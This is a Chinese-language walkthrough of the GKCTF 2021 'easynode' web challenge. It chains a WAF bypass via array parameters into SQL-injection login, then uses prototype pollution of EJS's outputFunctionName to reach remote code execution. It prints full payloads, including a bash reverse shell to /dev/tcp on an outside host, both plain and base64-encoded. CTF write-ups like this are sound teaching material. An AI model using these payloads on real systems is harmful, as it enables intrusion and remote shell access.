[GKCTF 2021]easynode

[GKCTF 2021]easynode

打开题目发现有登录框,那么我们先分析下如何登录

app.post('/login',function(req,res,next){

    let username = req.body.username;
    let password = req.body.password;
    safeQuery(username,password).then(
        result =>{
            if(result[0]){
                const token = generateToken(username)
                res.json({
                    "msg":"yes","token":token
                });
            }
            else{
                res.json(
                    {"msg":"username or password wrong"}
                    );
            }
        }
    ).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
  })

接收POST传参用户和密码,但是会经过safeQuery()函数处理,如果result[0]不为空则登陆成功返回token

跟进到safeQuery()函数

let safeQuery =  async (username,password)=>{

    const waf = (str)=>{
        // console.log(str);
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    }

    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){
            
            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }
        
    }
    return str;
    }

    username = safeStr(username);
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
    // console.log(sql);
    result = JSON.parse(JSON.stringify(await select(sql)));
    return result;
}

定义了waf的黑名单为\^)("'符号,用foreach遍历黑名单去进行匹配,如果匹配到则替换成*,注意这里是弱等于。然后将*添加到对应被替换的位置,然后str用加号进行拼接并返回。username和password参数都需要验证,限制截取长度为20,然后进行sql语句查询返回结果

要想得到token就必须登陆成功,我们注意到遍历黑名单进行匹配是弱等于,那么我们可以用数组绕过,但是后面调用substr会报错。所以我们就要利用js的特性,当数组相加时会转换成字符串

[GKCTF 2021]easynode_第1张图片

这样也就能解释sql注入的时候是字符串

我们只需要手动添加一个在黑名单的字符(位置在哪都行),payload如下

username[]=admin'#&username=1&username=1&username=1&username=1&username=1&username=(&password=123456

至于为什么要这么长,我们可以本地测试下

let safeQuery = async (username, password) => {
    const waf = (str) => {
      blacklist = ['\\', '\^', ')', '(', '\"', '\''];
      blacklist.forEach(element => {
        if (str == element) {
          str = "*";
        }
      });
      return str;
    }
  
    const safeStr = (str) => {
      for (let i = 0; i < str.length; i++) {
        if (waf(str[i]) == "*") {
          str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }
      }
      return str;
    }

    let testUsername = ["admin'#","("];
    let testPassword = '123456';

    testUsername = safeStr(testUsername);
    testPassword = safeStr(testPassword);
  
    console.log(testUsername);
    console.log(testPassword);
  }
  
  // 调用safeQuery函数进行测试
  safeQuery();

如果不够长会发现单引号变成了星号

[GKCTF 2021]easynode_第2张图片

原因在于遍历完数组后又依次遍历每个字符,导致单引号被替换成星号

所以只要我们的数组足够长就行了

[GKCTF 2021]easynode_第3张图片

抓包发送得到token

[GKCTF 2021]easynode_第4张图片

然后我们再观察哪里可以进行原型链污染

看向/adminDIV路由

app.post("/adminDIV",async(req,res,next) =>{
    const token = req.cookies.token
    
    var data =  JSON.parse(req.body.data)
    
    let result = verifyToken(token);
    if(result !='err'){
        username = result;
        var sql ='select board from board';
        var query = JSON.parse(JSON.stringify(await select(sql).then(close()))); 
        board = JSON.parse(query[0].board);
        console.log(board);
        for(var key in data){
            var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
            
            extend(board,JSON.parse(addDIV));
        }
        sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        res.json({"msg":'addDiv successful!!!'});
    }
    else{
        res.end('nonono');
    }
});

存在extend函数造成原型链污染,用json格式的addDIV去污染board

本题是ejs模板注入,而addDIV是这样定义的

var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;

也就是说我们的username要为为__proto__,然后key又是由data决定,也就是

data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1\"');var __tmp2"}

但是我们并没有__proto__的token值,所以我们看向/addAdmin路由

app.post("/addAdmin",async (req,res,next) => {
    let username = req.body.username;
    let password = req.body.password;
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
        var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
        console.log(sql);
        select(sql).then(close()).catch( (err)=>{console.log(err)});
        res.end('add admin successful!')
    }
    else{
        res.end('stop!!!');
    }
});

接收参数username和password进行数据库插入数据创建用户,前提是需要有正确的token。

我们利用刚刚得到admin的token去创建用户__proto__

[GKCTF 2021]easynode_第5张图片

然后在login去登录,成功得到token值

[GKCTF 2021]easynode_第6张图片

由于反弹shell可能出现编码问题,我们base64加上url编码一下

data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC81aTc4MTk2M3AyLnlpY3AuZnVuLzU4MjY1IDA%2BJjEi|base64 -d|bash');var __tmp2"}

成功污染

[GKCTF 2021]easynode_第7张图片

然后找到调用ejs模板的/admin路由

app.get("/admin",async (req,res,next) => {
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        username = result
        var sql = `select board from board where username = '${username}'`;
        var query = JSON.parse(JSON.stringify(await select(sql).then(close())));  
        board = JSON.parse(query[0].board);
        console.log(board);
        const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
        res.writeHead(200, {"Content-Type": "text/html"});
        res.end(html)
    } 
    else{
        res.json({'msg':'stop!!!'});
    }
});

找到调用处

const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})

board参数已经被我们污染了,也就是说只要username为__proto__就行,往前看可以知道是由token决定

所以访问/admin路由,修改为__proto__的token发送即可

成功反弹

[GKCTF 2021]easynode_第8张图片

得到flag

[GKCTF 2021]easynode_第9张图片

你可能感兴趣的:(原型链污染,javascript,web安全,安全,网络,学习,node.js)